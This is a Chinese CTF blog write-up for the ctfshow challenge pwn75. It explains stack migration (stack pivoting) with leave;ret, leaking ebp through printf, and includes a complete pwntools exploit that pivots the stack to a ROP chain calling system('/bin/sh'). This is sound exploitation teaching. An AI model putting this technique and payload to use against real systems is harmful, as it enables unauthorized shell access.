每日一Pwn 2025/1/21

pwn75

第十次看栈迁移,终于有了点感觉


栈迁移

当题目限制输入的空间,只能覆盖到rbp,ret_add 时,一般会采用栈迁移


原理

栈迁移关键是利用leave;ret指令:

leave ====> mov rsp rbp;pop rbp

ret ====> pop rip

执行leave:mov rsp rbp 先将rsp迁移到rbp的地址,此时rsp和rbp指向的位置又可以当作栈顶也可以当作栈底。pop rbp 将rsp的内容赋值给rbp。(pop指令是将rsp的内容弹出并赋给相应寄存器,且 rsp + 8)

这里需要注意rsp的内容和rsp是不一样的,rsp大多时候是一个地址,而rsp的内容可以是地址也可以不是地址

当我们执行 pop rbp 后,rsp + 8 下移一个内存单元

执行ret:pop eip,将栈顶的内容(ret_add)赋值给rip


栈迁移的利用

栈迁移需要两次leave;ret

  • 第一次leave;ret,劫持rbp到目标地址
  • 第二次leave;ret,将rsp也迁移到rbp的位置,接着 pop rbp,rsp+8 将指向下一个内存单元,从而 getshell

具体内容和原理可以查看这些文章:

栈迁移 | feichai's Blog

栈迁移原理深入理解以及实操 - 先知社区


在第二篇文章中还提到了send和sendline选取的相关问题

send和sendline的选择

read 既可以用 send 又可以用 sendline

gets | scanf | fgets 只能用 sendline ,因为这些函数只有接收到换行符才会停止

puts | printf 在遇到\x00之前会一直输出,直到有NULL字符或者\x00


检查保护,32位只开了代码执行保护

image-20250121132352254

查看程序,存在一个system。查看ctfshow函数,先对s进行了初始化,将前0x20都填充为0。read的长度只有0x30,最多只能溢出到ebp的位置,没办法修改ret_add 。read后有一个printf函数,printf函数接收到\x00才会截止,所以我们可以通过read和printf泄露出ebp的内容(main函数中ebp的位置),通过输入处的地址与main函数的栈底地址找到他们之间的相对偏移,从而通过泄露出的ebp的内容得到输入处的地址。

image-20250121173503862

要知道输入处与 ebp 的偏移,就需要进行动态调试。直接 start 进入,在read输入完后用 stack指令查看栈

image-20250121180053840

计算偏移量为0x38,因此只需要将得到的ebp内容减去0x38就可以得到输入处的地址,这里定义为buf

0xffffd0e8 - 0xffffd0b0 = 0x38

因此,我们有了大致的思路:第一次read泄露出ebp内容并且计算出buf的地址,第二次read首先需要填入32ret2libc的ROP链,再劫持 ebp 到 buf-4,再将ret_add改为leave ret。

这里有两个需要注意的地方,为什么需要两次 leave ret(ctfshow函数末尾自带一次,ret_add一次)以及为什么 ebp 劫持的地方为 buf-4。第一次函数自带的 leave ret 只能将 ebp 劫持到 buf-4的地方,接着 ret 部分的 pop eip 将会把程序流劫持到第二次 leave ret ,这里我们逐步分析。mov esp ebp 先将esp迁移到ebp的地址,也就是 buf-4 ,pop ebp 将esp的内容赋值给ebp(ebp赋什么值没影响,因为ebp的任务是将esp带到ROP链的存储段),pop后esp+4,接着esp就到了buf的位置,pop eip控制程序流从填入的ROP链开始执行,这也是为什么需要填充 buf-4 的原因

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*

#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'

host='pwn.challenge.ctf.show'
port=28199
file_name='pwn'

Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_file)
        exit(0)
    elif args.CL:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1==1
    payload1 = b'a'*(0x28)
    io.sendafter(b'codename:',payload1)
    io.recvuntil(b'a'*(0x28))
    ebp_add = u32(io.recv(4).ljust(4,b'\x00'))
    print(f'ebp_add: {hex(ebp_add)}')

    buf_add = ebp_add - 0x38
    print(f'buf_add: {hex(buf_add)}')

    leave_ret = 0x08048766
    system_add = 0x08048400

    payload2 = p32(system_add) + p32(0) + p32(buf_add+12) + b"/bin/sh\x00"
    payload2 = payload2.ljust(0x28,b"a") + p32(buf_add-4) + p32(leave_ret)

    io.sendafter(b'do?',payload2)

if __name__=='__main__':
    io=Start()
    Exp()
    io.sendline(b'ls')
    io.sendline(b"cat flag")
    io.interactive()

这里需要注意 buf_add+12 是指向填入 /bin/sh\x00 的地址

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇